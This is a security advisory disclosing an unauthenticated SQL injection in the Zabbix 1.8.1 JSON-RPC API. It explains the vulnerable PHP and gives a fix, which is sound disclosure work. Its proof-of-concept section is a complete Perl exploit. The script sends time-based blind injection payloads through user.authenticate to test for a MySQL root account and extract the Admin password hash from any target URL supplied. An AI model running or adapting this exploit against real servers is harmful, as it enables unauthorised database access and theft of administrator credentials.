=============================================
- Release date: April 1st, 2010
- Discovered by: Dawid Golunski
- Severity: High
=============================================

I. VULNERABILITY
-------------------------
Zabbix <= 1.8.1 SQL Injection

II. BACKGROUND
-------------------------
Zabbix is an enterprise-class open source distributed monitoring  
solution.
Zabbix is software that monitors numerous parameters of a network and  
the
health and integrity of servers. Properly configured, Zabbix can play an
important role in monitoring IT infrastructure. This is equally true for
small organisations with a few servers and for large companies with a
multitude of servers.

III. INTRODUCTION
-------------------------
Zabbix version 1.8 introduces an API which is vulnerable to an SQL  
Injection
attack (up to 1.8.2). No authentication required.

IV. DESCRIPTION
-------------------------

Zabbix API uses a function called DBcondition() (definded in
include/db.inc.php) to format conditions in WHERE clause of an SQL query
The function expects sanitized data and does not perform any additional
checks:

function DBcondition($fieldname, &$array, $notin=false, $string=false){
  global $DB;
  $condition = '';
---[cut]---
  $in =           $notin?' NOT IN ':' IN ';
  $concat =       $notin?' AND ':' OR ';
  $glue =         $string?"','":',';

  switch($DB['TYPE']) {
    case 'SQLITE3':
    case 'MYSQL':
    case 'POSTGRESQL':
    case 'ORACLE':
    default:
      $items = array_chunk($array, 950);
      foreach($items as $id => $values){
        $condition.=!empty($condition)?')'.$concat.$fieldname.$in.'(':'';
        if($string)     $condition.= "'".implode($glue,$values)."'";
        else            $condition.= implode($glue,$values);
      }
      break;
  }

  if(zbx_empty($condition)) $condition = $string?"'-1'":'-1';

return ' ('.$fieldname.$in.'('.$condition.')) ';
}

The DBcondition() is used numerous times within Zabbix API code to  
include
user supplied parameters within SQL queries. It is also used during the
authentication in class.cuser.php:

class CUser extends CZBXAPI{
---[cut]---
public static function get($options=array()){
---[cut]---
// users
if(!is_null($options['users'])){
  zbx_value2array($options['users']);
  $sql_parts['where'][] = DBcondition('u.alias', $options['users'],  
false, true);
}

---[cut]---
if(!empty($sql_parts['where']))         $sql_where.= ' AND '.implode('  
AND ',$sql_parts['where']);

---[cut]---
$sql = 'SELECT DISTINCT '.$sql_select.'
                 FROM '.$sql_from.'
                 WHERE '.DBin_node('u.userid', $nodeids).
                 $sql_where.
                 $sql_order;
$res = DBselect($sql, $sql_limit);
---[cut]---

The $options['users'] variable can be supplied by calling the
user.authenticate method of the Zabbix API with a 'user' paramter as we
can tell from rpc/class.czbxrpc.php file:

// Authentication {{{
if(($resource == 'user') && ($action == 'authenticate')){
  $sessionid = null;

  $options = array(
      'users' => $params['user'],
      'extendoutput' => 1,
      'get_access' => 1
      );
  $users = CUser::get($options);
  $user = reset($users);
  if($user['api_access'] != GROUP_API_ACCESS_ENABLED){
    self::$result = array('error' => ZBX_API_ERROR_NO_AUTH, 'data' =>  
'No API access');
    return self::$result;
}

This lack of sanitization leads to an SQL Injection vulnerability which
can be exploited without any authentication.

V. PROOF OF CONCEPT
-------------------------

Below is a harmless PoC exploit that retrieves password hashes and  
checks
for mysql root account.

#!/usr/bin/perl

#
# zabbix181api.pl - Zabbix <= 1.8.1 API SQL Injection PoC Exploit
#
# Copyright (c) 2010
# Dawid Golunski <dawid[!]legalhackers.com>
# legalhackers.com
#
# Description
# -----------
# A PoC exploit for Zabbix <= 1.8.1 API (api_jsonrpc.php) prone to
# an sql injection attack allowing unauthenticated users to access
# the backend database.
# The exploit performs a blind time-based sql injection attack to
# retrieve Zabbix Admin's password hash and check if Zabbix uses a
# MySQL root account.
#
# Example
# -----------
# $ ./zabbix181api.pl https://10.0.0.1/zabbix
# Target: https://10.0.0.1/zabbix
# Reqtime: 0.2s ; SleepTime: 0.4s
#
# Checking if zabbix uses mysql root account... No
#
# Extracting Admin's password hash from zabbix users table:
# 5fce1b3c34b520ageffb47ce08a7cd76
# Job done.
#


use Time::HiRes qw(gettimeofday tv_interval);
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;

my $zabbix_api_url = shift || die "No target url provided. Exiting.\n";
$zabbix_api_url .= "/api_jsonrpc.php";
my $ua = LWP::UserAgent->new;
$ua->timeout(8);

sub sendRequest
{
  my ($api_url, $data) = @_;
  my $start_time = [gettimeofday];
  my $response = $ua->request(POST "$api_url",
    Content_Type => "application/json-rpc",
    Content => "$data");
  my $end_time = [gettimeofday];
  my $elapsed_time = tv_interval($start_time,$end_time);
  my $elapsed_time_sec = sprintf "%.1f", $elapsed_time;

  my %result = ("content", $response->content,
          "code", $response->code,
          "success", ($response->is_success() ? 1 : 0),
          "time", $elapsed_time_sec);
  return %result;
}

%result  = sendRequest($zabbix_api_url, "");
if ($result{success} ne 1) {
  die "Could not access zabbix API.\n";
}
my $req_time = $result{time};
my $sleep_time = ($req_time * 2.0);

print "Target: $zabbix_api_url\n";
print "Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n";

$| = 1;

print "Checking if zabbix uses mysql root account... ";
my $jsondata = '{"auth":null,"method":"user.authenticate","id": 
1,"params":{'.
         '"password":"apitest123",'.
         '"user":"Admin\') ) OR '.
         'if (!strcmp(substring(user(),1,4),\'root\'),sleep('. 
$sleep_time.'),0) '.
         ' -- end "},"jsonrpc":"2.0"}';
%result = sendRequest($zabbix_api_url, $jsondata);
print $result{content};
if ($result{time}  >= $sleep_time) {
  print "Yes!\n\n";
} else {
  print "No\n\n";
}

my $username = "Admin";
my @chars = (0 .. 10, "a" .. "f");
my $md5_hash = "";
print "Extracting Admin's password hash from zabbix users table:\n";
for (my $offset=1; $offset<=32; $offset++) {
     for (my $idx=0; $idx<(scalar @chars); $idx++) {
  $jsondata = '{"auth":null,"method":"user.authenticate","id": 
1,"params":{'.
           '"password":"apitest123",'.
           '"user":"'.$username.'\') ) AND '.
           'if (!strcmp(substring(u.passwd,'.$offset.',1),\''. 
$chars[$idx].'\'),sleep('.$sleep_time.'),0) '.
           ' -- end "},"jsonrpc":"2.0"}';
  %result = sendRequest($zabbix_api_url, $jsondata);
  if ($result{time}  >= $sleep_time) {
    $md5_hash .= $chars[$idx];
    print $chars[$idx];
  }
     }
}
print "\nJob done.\n";


VI. BUSINESS IMPACT
-------------------------
An attacker could exploit the vulnerability to retrieve any data from
databases accessible by zabbix db user.
In case zabbix has been given a more privileged mysql account the
exploitation could go as far as code execution.

Users running a vulnerable version of zabbix can become an easy
target as zabbix installation can be easily discovered if default
settings are used by checking for a listening server on port 10051 and/ 
or
existence of api script at https://host/zabbix/api_jsonrpc.php

VII. SYSTEMS AFFECTED
-------------------------
Versions 1.8 and 1.8.1 are vulnerable.
Versions in line 1.7.x starting from 1.7.2 also contain the
api and could be vulnerable.

VIII. SOLUTION
-------------------------
Upgrade to version 1.8.2 that has just come out or remove the API
(api_jsonrpc.php) from your installation if not in use.

IX. REFERENCES
-------------------------
https://www.zabbix.com
https://legalhackers.com/advisories/zabbix181api-sql.txt
https://legalhackers.com/poc/zabbix181api.pl-poc

X. CREDITS
-------------------------
The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com

XI. REVISION HISTORY
-------------------------
April 1st, 2010: Initial release

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this  
information.